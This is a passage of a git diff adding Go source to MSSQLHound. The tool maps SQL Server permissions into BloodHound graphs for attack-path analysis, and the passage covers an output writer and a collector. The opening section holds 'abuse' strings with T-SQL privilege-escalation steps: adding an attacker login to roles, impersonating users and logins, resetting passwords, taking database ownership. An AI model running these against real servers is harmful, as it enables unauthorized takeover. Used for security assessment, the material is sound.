+ EdgeKinds.AlterServerRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER permission on the target server role, allowing modification of role membership.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];",
+ Opsec: "Server role membership changes are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql",
+ }
+ },
+
+ EdgeKinds.ControlDBRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the target database role, granting full control including ability to add/remove members and drop the role.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user]; or DROP ROLE [" + ctx.TargetName + "];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user]; or DROP ROLE [" + ctx.TargetName + "];",
+ Opsec: "CONTROL on database roles grants full administrative permissions. All modifications are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.ControlDBUser: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the target database user, granting full control including ability to impersonate.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.",
+ Opsec: "CONTROL on database users allows impersonation. Impersonation is logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.ControlLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the target login, granting full control including ability to impersonate and alter.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login, or ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'NewPassword!';",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login.",
+ Opsec: "CONTROL on logins grants full administrative permissions including impersonation. All actions are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.ControlServerRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the target server role, granting full control including ability to add/remove members.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];",
+ Opsec: "CONTROL on server roles grants full administrative permissions. All modifications are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.DBTakeOwnership: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has TAKE OWNERSHIP permission on the " + ctx.DatabaseName + " database, allowing them to become the database owner.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER AUTHORIZATION ON DATABASE::[" + ctx.DatabaseName + "] TO [" + ctx.SourceName + "]; to take ownership of the database.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER AUTHORIZATION ON DATABASE::[" + ctx.DatabaseName + "] TO [" + ctx.SourceName + "]; to take ownership of the database.",
+ Opsec: "TAKE OWNERSHIP operations are logged in SQL Server audit logs. Database ownership changes are high-visibility events.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql",
+ }
+ },
+
+ EdgeKinds.ImpersonateDBUser: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable (matches PowerShell)
+ General: "The " + ctx.SourceType + " has IMPERSONATE permission on the target database user, allowing execution of commands as that user.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.",
+ Opsec: `Database user impersonation is logged in SQL Server audit logs. To check current execution context:
+ SELECT USER_NAME(), ORIGINAL_LOGIN();
+To revert impersonation:
+ REVERT;`,
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`,
+ }
+ },
+
+ EdgeKinds.ImpersonateLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable (matches PowerShell)
+ General: "The " + ctx.SourceType + " has IMPERSONATE permission on the target login, allowing execution of commands as that login.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login.",
+ Opsec: `Login impersonation is logged in SQL Server audit logs. To check current execution context:
+ SELECT SYSTEM_USER, ORIGINAL_LOGIN();
+To revert impersonation:
+ REVERT;`,
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`,
+ }
+ },
+
+ EdgeKinds.TakeOwnership: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable (matches PowerShell); MSSQL_ChangeOwner is the traversable counterpart
+ General: "The source has TAKE OWNERSHIP permission on the target, allowing them to become the owner.",
+ WindowsAbuse: "TAKE OWNERSHIP allows changing the owner of the target object.",
+ LinuxAbuse: "TAKE OWNERSHIP allows changing the owner of the target object.",
+ Opsec: "Ownership changes are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql",
+ }
+ },
+
+ EdgeKinds.ExecuteAs: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The source can execute commands as the target principal using EXECUTE AS.",
+ WindowsAbuse: "Connect and execute: EXECUTE AS LOGIN = ''; or EXECUTE AS USER = ''; to impersonate.",
+ LinuxAbuse: "Connect and execute: EXECUTE AS LOGIN = ''; or EXECUTE AS USER = ''; to impersonate.",
+ Opsec: "Impersonation is logged in SQL Server audit logs. Use REVERT; to return to the original context.",
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`,
+ }
+ },
+}
diff --git a/go/internal/bloodhound/writer.go b/go/internal/bloodhound/writer.go
new file mode 100644
index 0000000..a8a0138
--- /dev/null
+++ b/go/internal/bloodhound/writer.go
@@ -0,0 +1,486 @@
+// Package bloodhound provides BloodHound OpenGraph JSON output generation.
+package bloodhound
+
+import (
+ "encoding/json"
+ "fmt"
+ "io"
+ "os"
+ "path/filepath"
+ "sync"
+)
+
+// Node represents a BloodHound graph node
+type Node struct {
+ ID string `json:"id"`
+ Kinds []string `json:"kinds"`
+ Properties map[string]interface{} `json:"properties"`
+ Icon *Icon `json:"icon,omitempty"`
+}
+
+// Edge represents a BloodHound graph edge
+type Edge struct {
+ Start EdgeEndpoint `json:"start"`
+ End EdgeEndpoint `json:"end"`
+ Kind string `json:"kind"`
+ Properties map[string]interface{} `json:"properties,omitempty"`
+}
+
+// EdgeEndpoint represents the start or end of an edge
+type EdgeEndpoint struct {
+ Value string `json:"value"`
+}
+
+// Icon represents a node icon
+type Icon struct {
+ Type string `json:"type"`
+ Name string `json:"name"`
+ Color string `json:"color"`
+}
+
+// StreamingWriter handles streaming JSON output for BloodHound format
+type StreamingWriter struct {
+ file *os.File
+ encoder *json.Encoder
+ mu sync.Mutex
+ nodeCount int
+ edgeCount int
+ firstNode bool
+ firstEdge bool
+ inEdges bool
+ filePath string
+ seenEdges map[string]bool // dedup: "source|target|kind"
+}
+
+// NewStreamingWriter creates a new streaming BloodHound JSON writer
+func NewStreamingWriter(filePath string) (*StreamingWriter, error) {
+ // Ensure directory exists
+ dir := filepath.Dir(filePath)
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ return nil, fmt.Errorf("failed to create directory: %w", err)
+ }
+
+ file, err := os.Create(filePath)
+ if err != nil {
+ return nil, fmt.Errorf("failed to create file: %w", err)
+ }
+
+ w := &StreamingWriter{
+ file: file,
+ firstNode: true,
+ firstEdge: true,
+ filePath: filePath,
+ seenEdges: make(map[string]bool),
+ }
+
+ // Write header
+ if err := w.writeHeader(); err != nil {
+ file.Close()
+ return nil, err
+ }
+
+ return w, nil
+}
+
+// writeHeader writes the initial JSON structure
+func (w *StreamingWriter) writeHeader() error {
+ header := `{
+ "$schema": "https://raw.githubusercontent.com/MichaelGrafnetter/EntraAuthPolicyHound/refs/heads/main/bloodhound-opengraph.schema.json",
+ "metadata": {
+ "source_kind": "MSSQL_Base"
+ },
+ "graph": {
+ "nodes": [
+`
+ _, err := w.file.WriteString(header)
+ return err
+}
+
+// WriteNode writes a single node to the output
+func (w *StreamingWriter) WriteNode(node *Node) error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.inEdges {
+ return fmt.Errorf("cannot write nodes after edges have started")
+ }
+
+ // Write comma if not first node
+ if !w.firstNode {
+ if _, err := w.file.WriteString(",\n"); err != nil {
+ return err
+ }
+ }
+ w.firstNode = false
+
+ // Marshal and write the node
+ data, err := json.Marshal(node)
+ if err != nil {
+ return err
+ }
+
+ if _, err := w.file.WriteString(" "); err != nil {
+ return err
+ }
+ if _, err := w.file.Write(data); err != nil {
+ return err
+ }
+
+ w.nodeCount++
+ return nil
+}
+
+// WriteEdge writes a single edge to the output. If edge is nil or a duplicate, it is silently skipped.
+func (w *StreamingWriter) WriteEdge(edge *Edge) error {
+ if edge == nil {
+ return nil
+ }
+
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ // Deduplicate by full edge content (JSON-serialized).
+ // This ensures truly identical edges (same source, target, kind, AND properties)
+ // are deduped, while edges with same source/target/kind but different properties
+ // (e.g., LinkedTo edges with different localLogin mappings) are kept.
+ edgeJSON, err := json.Marshal(edge)
+ if err != nil {
+ return err
+ }
+ edgeKey := string(edgeJSON)
+ if w.seenEdges[edgeKey] {
+ return nil
+ }
+ w.seenEdges[edgeKey] = true
+
+ // Transition from nodes to edges if needed
+ if !w.inEdges {
+ if err := w.transitionToEdges(); err != nil {
+ return err
+ }
+ }
+
+ // Write comma if not first edge
+ if !w.firstEdge {
+ if _, err := w.file.WriteString(",\n"); err != nil {
+ return err
+ }
+ }
+ w.firstEdge = false
+
+ // Marshal and write the edge
+ data, err := json.Marshal(edge)
+ if err != nil {
+ return err
+ }
+
+ if _, err := w.file.WriteString(" "); err != nil {
+ return err
+ }
+ if _, err := w.file.Write(data); err != nil {
+ return err
+ }
+
+ w.edgeCount++
+ return nil
+}
+
+// transitionToEdges closes the nodes array and starts the edges array
+func (w *StreamingWriter) transitionToEdges() error {
+ transition := `
+ ],
+ "edges": [
+`
+ _, err := w.file.WriteString(transition)
+ if err != nil {
+ return err
+ }
+ w.inEdges = true
+ return nil
+}
+
+// Close finalizes the JSON and closes the file
+func (w *StreamingWriter) Close() error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ // If we never wrote edges, transition now
+ if !w.inEdges {
+ if err := w.transitionToEdges(); err != nil {
+ return err
+ }
+ }
+
+ // Write footer
+ footer := `
+ ]
+ }
+}
+`
+ if _, err := w.file.WriteString(footer); err != nil {
+ return err
+ }
+
+ return w.file.Close()
+}
+
+// Stats returns the number of nodes and edges written
+func (w *StreamingWriter) Stats() (nodes, edges int) {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+ return w.nodeCount, w.edgeCount
+}
+
+// FilePath returns the path to the output file
+func (w *StreamingWriter) FilePath() string {
+ return w.filePath
+}
+
+// FileSize returns the current size of the output file
+func (w *StreamingWriter) FileSize() (int64, error) {
+ info, err := w.file.Stat()
+ if err != nil {
+ return 0, err
+ }
+ return info.Size(), nil
+}
+
+// NodeKinds defines the BloodHound node kinds for MSSQL objects
+var NodeKinds = struct {
+ Server string
+ Database string
+ Login string
+ ServerRole string
+ DatabaseUser string
+ DatabaseRole string
+ ApplicationRole string
+ User string
+ Group string
+ Computer string
+}{
+ Server: "MSSQL_Server",
+ Database: "MSSQL_Database",
+ Login: "MSSQL_Login",
+ ServerRole: "MSSQL_ServerRole",
+ DatabaseUser: "MSSQL_DatabaseUser",
+ DatabaseRole: "MSSQL_DatabaseRole",
+ ApplicationRole: "MSSQL_ApplicationRole",
+ User: "User",
+ Group: "Group",
+ Computer: "Computer",
+}
+
+// EdgeKinds defines the BloodHound edge kinds for MSSQL relationships
+var EdgeKinds = struct {
+ MemberOf string
+ IsMappedTo string
+ Contains string
+ Owns string
+ ControlServer string
+ ControlDB string
+ ControlDBRole string
+ ControlDBUser string
+ ControlLogin string
+ ControlServerRole string
+ Impersonate string
+ ImpersonateAnyLogin string
+ ImpersonateDBUser string
+ ImpersonateLogin string
+ ChangePassword string
+ AddMember string
+ Alter string
+ AlterDB string
+ AlterDBRole string
+ AlterServerRole string
+ Control string
+ ChangeOwner string
+ AlterAnyLogin string
+ AlterAnyServerRole string
+ AlterAnyRole string
+ AlterAnyDBRole string
+ AlterAnyAppRole string
+ GrantAnyPermission string
+ GrantAnyDBPermission string
+ LinkedTo string
+ ExecuteAsOwner string
+ IsTrustedBy string
+ HasDBScopedCred string
+ HasMappedCred string
+ HasProxyCred string
+ ServiceAccountFor string
+ HostFor string
+ ExecuteOnHost string
+ TakeOwnership string
+ DBTakeOwnership string
+ CanExecuteOnServer string
+ CanExecuteOnDB string
+ Connect string
+ ConnectAnyDatabase string
+ ExecuteAs string
+ HasLogin string
+ GetTGS string
+ GetAdminTGS string
+ HasSession string
+ LinkedAsAdmin string
+ CoerceAndRelayTo string
+}{
+ MemberOf: "MSSQL_MemberOf",
+ IsMappedTo: "MSSQL_IsMappedTo",
+ Contains: "MSSQL_Contains",
+ Owns: "MSSQL_Owns",
+ ControlServer: "MSSQL_ControlServer",
+ ControlDB: "MSSQL_ControlDB",
+ ControlDBRole: "MSSQL_ControlDBRole",
+ ControlDBUser: "MSSQL_ControlDBUser",
+ ControlLogin: "MSSQL_ControlLogin",
+ ControlServerRole: "MSSQL_ControlServerRole",
+ Impersonate: "MSSQL_Impersonate",
+ ImpersonateAnyLogin: "MSSQL_ImpersonateAnyLogin",
+ ImpersonateDBUser: "MSSQL_ImpersonateDBUser",
+ ImpersonateLogin: "MSSQL_ImpersonateLogin",
+ ChangePassword: "MSSQL_ChangePassword",
+ AddMember: "MSSQL_AddMember",
+ Alter: "MSSQL_Alter",
+ AlterDB: "MSSQL_AlterDB",
+ AlterDBRole: "MSSQL_AlterDBRole",
+ AlterServerRole: "MSSQL_AlterServerRole",
+ Control: "MSSQL_Control",
+ ChangeOwner: "MSSQL_ChangeOwner",
+ AlterAnyLogin: "MSSQL_AlterAnyLogin",
+ AlterAnyServerRole: "MSSQL_AlterAnyServerRole",
+ AlterAnyRole: "MSSQL_AlterAnyRole",
+ AlterAnyDBRole: "MSSQL_AlterAnyDBRole",
+ AlterAnyAppRole: "MSSQL_AlterAnyAppRole",
+ GrantAnyPermission: "MSSQL_GrantAnyPermission",
+ GrantAnyDBPermission: "MSSQL_GrantAnyDBPermission",
+ LinkedTo: "MSSQL_LinkedTo",
+ ExecuteAsOwner: "MSSQL_ExecuteAsOwner",
+ IsTrustedBy: "MSSQL_IsTrustedBy",
+ HasDBScopedCred: "MSSQL_HasDBScopedCred",
+ HasMappedCred: "MSSQL_HasMappedCred",
+ HasProxyCred: "MSSQL_HasProxyCred",
+ ServiceAccountFor: "MSSQL_ServiceAccountFor",
+ HostFor: "MSSQL_HostFor",
+ ExecuteOnHost: "MSSQL_ExecuteOnHost",
+ TakeOwnership: "MSSQL_TakeOwnership",
+ DBTakeOwnership: "MSSQL_DBTakeOwnership",
+ CanExecuteOnServer: "MSSQL_CanExecuteOnServer",
+ CanExecuteOnDB: "MSSQL_CanExecuteOnDB",
+ Connect: "MSSQL_Connect",
+ ConnectAnyDatabase: "MSSQL_ConnectAnyDatabase",
+ ExecuteAs: "MSSQL_ExecuteAs",
+ HasLogin: "MSSQL_HasLogin",
+ GetTGS: "MSSQL_GetTGS",
+ GetAdminTGS: "MSSQL_GetAdminTGS",
+ HasSession: "HasSession",
+ LinkedAsAdmin: "MSSQL_LinkedAsAdmin",
+ CoerceAndRelayTo: "CoerceAndRelayToMSSQL",
+}
+
+// Icons defines the default icons for MSSQL node types
+var Icons = map[string]*Icon{
+ NodeKinds.Server: {
+ Type: "font-awesome",
+ Name: "server",
+ Color: "#42b9f5",
+ },
+ NodeKinds.Database: {
+ Type: "font-awesome",
+ Name: "database",
+ Color: "#f54242",
+ },
+ NodeKinds.Login: {
+ Type: "font-awesome",
+ Name: "user-gear",
+ Color: "#dd42f5",
+ },
+ NodeKinds.ServerRole: {
+ Type: "font-awesome",
+ Name: "users-gear",
+ Color: "#6942f5",
+ },
+ NodeKinds.DatabaseUser: {
+ Type: "font-awesome",
+ Name: "user",
+ Color: "#f5ef42",
+ },
+ NodeKinds.DatabaseRole: {
+ Type: "font-awesome",
+ Name: "users",
+ Color: "#f5a142",
+ },
+ NodeKinds.ApplicationRole: {
+ Type: "font-awesome",
+ Name: "robot",
+ Color: "#6ff542",
+ },
+}
+
+// CopyIcon returns a copy of an icon
+func CopyIcon(icon *Icon) *Icon {
+ if icon == nil {
+ return nil
+ }
+ return &Icon{
+ Type: icon.Type,
+ Name: icon.Name,
+ Color: icon.Color,
+ }
+}
+
+// WriteToFile writes the complete output to a file (non-streaming)
+func WriteToFile(filePath string, nodes []Node, edges []Edge) error {
+ output := struct {
+ Schema string `json:"$schema"`
+ Metadata struct {
+ SourceKind string `json:"source_kind"`
+ } `json:"metadata"`
+ Graph struct {
+ Nodes []Node `json:"nodes"`
+ Edges []Edge `json:"edges"`
+ } `json:"graph"`
+ }{
+ Schema: "https://raw.githubusercontent.com/MichaelGrafnetter/EntraAuthPolicyHound/refs/heads/main/bloodhound-opengraph.schema.json",
+ }
+ output.Metadata.SourceKind = "MSSQL_Base"
+ output.Graph.Nodes = nodes
+ output.Graph.Edges = edges
+
+ file, err := os.Create(filePath)
+ if err != nil {
+ return err
+ }
+ defer file.Close()
+
+ encoder := json.NewEncoder(file)
+ encoder.SetIndent("", " ")
+ return encoder.Encode(output)
+}
+
+// ReadFromFile reads BloodHound JSON from a file
+func ReadFromFile(filePath string) ([]Node, []Edge, error) {
+ file, err := os.Open(filePath)
+ if err != nil {
+ return nil, nil, err
+ }
+ defer file.Close()
+
+ return ReadFrom(file)
+}
+
+// ReadFrom reads BloodHound JSON from a reader
+func ReadFrom(r io.Reader) ([]Node, []Edge, error) {
+ var output struct {
+ Graph struct {
+ Nodes []Node `json:"nodes"`
+ Edges []Edge `json:"edges"`
+ } `json:"graph"`
+ }
+
+ decoder := json.NewDecoder(r)
+ if err := decoder.Decode(&output); err != nil {
+ return nil, nil, err
+ }
+
+ return output.Graph.Nodes, output.Graph.Edges, nil
+}
diff --git a/go/internal/collector/collector.go b/go/internal/collector/collector.go
new file mode 100644
index 0000000..9b39ed0
--- /dev/null
+++ b/go/internal/collector/collector.go
@@ -0,0 +1,5583 @@
+// Package collector orchestrates the MSSQL data collection process.
+package collector
+
+import (
+ "archive/zip"
+ "context"
+ "fmt"
+ "io"
+ "net"
+ "os"
+ "os/exec"
+ "path/filepath"
+ "runtime"
+ "sort"
+ "strconv"
+ "strings"
+ "sync"
+ "time"
+
+ "github.com/SpecterOps/MSSQLHound/internal/ad"
+ "github.com/SpecterOps/MSSQLHound/internal/bloodhound"
+ "github.com/SpecterOps/MSSQLHound/internal/mssql"
+ "github.com/SpecterOps/MSSQLHound/internal/types"
+ "github.com/SpecterOps/MSSQLHound/internal/wmi"
+)
+
+// Config holds the collector configuration
+type Config struct {
+ // Connection options
+ ServerInstance string
+ ServerListFile string
+ ServerList string
+ UserID string
+ Password string
+ Domain string
+ DomainController string
+ DCIP string // Domain controller IP address
+ DNSResolver string // DNS resolver to use for lookups
+ LDAPUser string
+ LDAPPassword string
+
+ // Output options
+ OutputFormat string
+ TempDir string
+ ZipDir string
+ FileSizeLimit string
+ Verbose bool
+
+ // Collection options
+ DomainEnumOnly bool
+ SkipLinkedServerEnum bool
+ CollectFromLinkedServers bool
+ SkipPrivateAddress bool
+ ScanAllComputers bool
+ SkipADNodeCreation bool
+ IncludeNontraversableEdges bool
+ MakeInterestingEdgesTraversable bool
+
+ // Timeouts and limits
+ LinkedServerTimeout int
+ MemoryThresholdPercent int
+ FileSizeUpdateInterval int
+
+ // Concurrency
+ Workers int // Number of concurrent workers (0 = sequential)
+}
+
+// Collector handles the data collection process
+type Collector struct {
+ config *Config
+ tempDir string
+ outputFiles []string
+ outputFilesMu sync.Mutex // Protects outputFiles
+ serversToProcess []*ServerToProcess
+ linkedServersToProcess []*ServerToProcess // Linked servers discovered during processing
+ linkedServersMu sync.Mutex // Protects linkedServersToProcess
+ serverSPNData map[string]*ServerSPNInfo // Track SPN data for each server, keyed by ObjectIdentifier
+ serverSPNDataMu sync.RWMutex // Protects serverSPNData
+ skippedChangePasswordEdges map[string]bool // Track unique skipped ChangePassword edges for CVE-2025-49758
+ skippedChangePasswordMu sync.Mutex // Protects skippedChangePasswordEdges
+}
+
+// ServerToProcess holds information about a server to be processed
+type ServerToProcess struct {
+ Hostname string // FQDN or short hostname
+ Port int // Port number (default 1433)
+ InstanceName string // Named instance (empty for default)
+ ObjectIdentifier string // SID:port or SID:instance
+ ConnectionString string // String to use for SQL connection
+ ComputerSID string // Computer SID
+ DiscoveredFrom string // Hostname of server this was discovered from (for linked servers)
+ Domain string // Domain inferred from the source server (for linked servers)
+}
+
+// ServerSPNInfo holds SPN-related data discovered from Active Directory
+type ServerSPNInfo struct {
+ SPNs []string
+ ServiceAccounts []types.ServiceAccount
+ AccountName string
+ AccountSID string
+}
+
+// New creates a new collector
+func New(config *Config) *Collector {
+ return &Collector{
+ config: config,
+ serverSPNData: make(map[string]*ServerSPNInfo),
+ }
+}
+
+// getDNSResolver returns the DNS resolver to use, applying the logic:
+// if --dc-ip is specified but --dns-resolver is not, use dc-ip as the resolver
+func (c *Collector) getDNSResolver() string {
+ if c.config.DNSResolver != "" {
+ return c.config.DNSResolver
+ }
+ if c.config.DCIP != "" {
+ return c.config.DCIP
+ }
+ return ""
+}
+
+// Run executes the collection process
+func (c *Collector) Run() error {
+ // Setup temp directory
+ if err := c.setupTempDir(); err != nil {
+ return fmt.Errorf("failed to setup temp directory: %w", err)
+ }
+ fmt.Printf("Temporary output directory: %s\n", c.tempDir)
+
+ // Build list of servers to process
+ if err := c.buildServerList(); err != nil {
+ return fmt.Errorf("failed to build server list: %w", err)
+ }
+
+ if len(c.serversToProcess) == 0 {
+ return fmt.Errorf("no servers to process")
+ }
+
+ fmt.Printf("\nProcessing %d SQL Server(s)...\n", len(c.serversToProcess))
+ c.logVerbose("Memory usage: %s", c.getMemoryUsage())
+
+ // Track all processed servers to avoid duplicates
+ processedServers := make(map[string]bool)
+
+ // Process servers (concurrently if workers > 0)
+ if c.config.Workers > 0 {
+ c.processServersConcurrently()
+ // Mark all initial servers as processed
+ for _, server := range c.serversToProcess {
+ processedServers[strings.ToLower(server.Hostname)] = true
+ }
+ } else {
+ // Sequential processing
+ for i, server := range c.serversToProcess {
+ fmt.Printf("\n[%d/%d] Processing %s...\n", i+1, len(c.serversToProcess), server.ConnectionString)
+ processedServers[strings.ToLower(server.Hostname)] = true
+
+ if err := c.processServer(server); err != nil {
+ fmt.Printf("Warning: failed to process %s: %v\n", server.ConnectionString, err)
+ // Continue with other servers
+ }
+ }
+ }
+
+ // Process linked servers recursively if enabled
+ if c.config.CollectFromLinkedServers {
+ c.processLinkedServersQueue(processedServers)
+ }
+
+ // Create zip file
+ if len(c.outputFiles) > 0 {
+ zipPath, err := c.createZipFile()
+ if err != nil {
+ return fmt.Errorf("failed to create zip file: %w", err)
+ }
+ fmt.Printf("\nOutput written to: %s\n", zipPath)
+ } else {
+ fmt.Println("\nNo data collected - no output file created")
+ }
+
+ return nil
+}
+
+// serverJob represents a server processing job
+type serverJob struct {
+ index int
+ server *ServerToProcess
+}
+
+// serverResult represents the result of processing a server
+type serverResult struct {
+ index int
+ server *ServerToProcess
+ outputFile string
+ err error
+}
+
+// processServersConcurrently processes servers using a worker pool
+func (c *Collector) processServersConcurrently() {
+ numWorkers := c.config.Workers
+ totalServers := len(c.serversToProcess)
+
+ fmt.Printf("Using %d concurrent workers\n", numWorkers)
+
+ // Create channels
+ jobs := make(chan serverJob, totalServers)
+ results := make(chan serverResult, totalServers)
+
+ // Start workers
+ var wg sync.WaitGroup
+ for w := 1; w <= numWorkers; w++ {
+ wg.Add(1)
+ go c.serverWorker(w, jobs, results, &wg)
+ }
+
+ // Send jobs
+ for i, server := range c.serversToProcess {
+ jobs <- serverJob{index: i, server: server}
+ }
+ close(jobs)
+
+ // Wait for workers in a goroutine
+ go func() {
+ wg.Wait()
+ close(results)
+ }()
+
+ // Collect results
+ successCount := 0
+ failCount := 0
+ for result := range results {
+ if result.err != nil {
+ fmt.Printf("[%d/%d] %s: FAILED - %v\n", result.index+1, totalServers, result.server.ConnectionString, result.err)
+ failCount++
+ } else {
+ fmt.Printf("[%d/%d] %s: OK\n", result.index+1, totalServers, result.server.ConnectionString)
+ successCount++
+ }
+ }
+
+ fmt.Printf("\nCompleted: %d succeeded, %d failed\n", successCount, failCount)
+}
+
+// serverWorker is a worker goroutine that processes servers from the jobs channel
+func (c *Collector) serverWorker(id int, jobs <-chan serverJob, results chan<- serverResult, wg *sync.WaitGroup) {
+ defer wg.Done()
+
+ for job := range jobs {
+ c.logVerbose("Worker %d: processing %s", id, job.server.ConnectionString)
+
+ err := c.processServer(job.server)
+
+ results <- serverResult{
+ index: job.index,
+ server: job.server,
+ err: err,
+ }
+ }
+}
+
+// addOutputFile adds an output file to the list (thread-safe)
+func (c *Collector) addOutputFile(path string) {
+ c.outputFilesMu.Lock()
+ defer c.outputFilesMu.Unlock()
+ c.outputFiles = append(c.outputFiles, path)
+}
+
+// setupTempDir creates the temporary directory for output files
+func (c *Collector) setupTempDir() error {
+ if c.config.TempDir != "" {
+ c.tempDir = c.config.TempDir
+ return nil
+ }
+
+ timestamp := time.Now().Format("20060102-150405")
+ tempPath := os.TempDir()
+ c.tempDir = filepath.Join(tempPath, fmt.Sprintf("mssql-bloodhound-%s", timestamp))
+
+ return os.MkdirAll(c.tempDir, 0755)
+}
+
+// parseServerString parses a server string (hostname, hostname:port, hostname\instance, SPN)
+// and returns a ServerToProcess entry. Does not resolve SIDs.
+func (c *Collector) parseServerString(serverStr string) *ServerToProcess {
+ server := &ServerToProcess{
+ Port: 1433, // Default port
+ }
+
+ // Handle SPN format: MSSQLSvc/hostname:portOrInstance
+ if strings.HasPrefix(strings.ToUpper(serverStr), "MSSQLSVC/") {
+ serverStr = serverStr[9:] // Remove "MSSQLSvc/"
+ }
+
+ // Handle formats: hostname, hostname:port, hostname\instance, hostname,port
+ if strings.Contains(serverStr, "\\") {
+ parts := strings.SplitN(serverStr, "\\", 2)
+ server.Hostname = parts[0]
+ if len(parts) > 1 {
+ server.InstanceName = parts[1]
+ }
+ server.ConnectionString = serverStr
+ } else if strings.Contains(serverStr, ":") {
+ parts := strings.SplitN(serverStr, ":", 2)
+ server.Hostname = parts[0]
+ if len(parts) > 1 {
+ // Check if it's a port number or instance name
+ if port, err := strconv.Atoi(parts[1]); err == nil {
+ server.Port = port
+ } else {
+ server.InstanceName = parts[1]
+ }
+ }
+ server.ConnectionString = serverStr
+ } else if strings.Contains(serverStr, ",") {
+ parts := strings.SplitN(serverStr, ",", 2)
+ server.Hostname = parts[0]
+ if len(parts) > 1 {
+ if port, err := strconv.Atoi(parts[1]); err == nil {
+ server.Port = port
+ }
+ }
+ server.ConnectionString = serverStr
+ } else {
+ server.Hostname = serverStr
+ server.ConnectionString = serverStr
+ }
+
+ return server
+}
+
+// addServerToProcess adds a server to the processing list, deduplicating by ObjectIdentifier
+func (c *Collector) addServerToProcess(server *ServerToProcess) {
+ // Build ObjectIdentifier if we have a SID
+ if server.ComputerSID != "" {
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
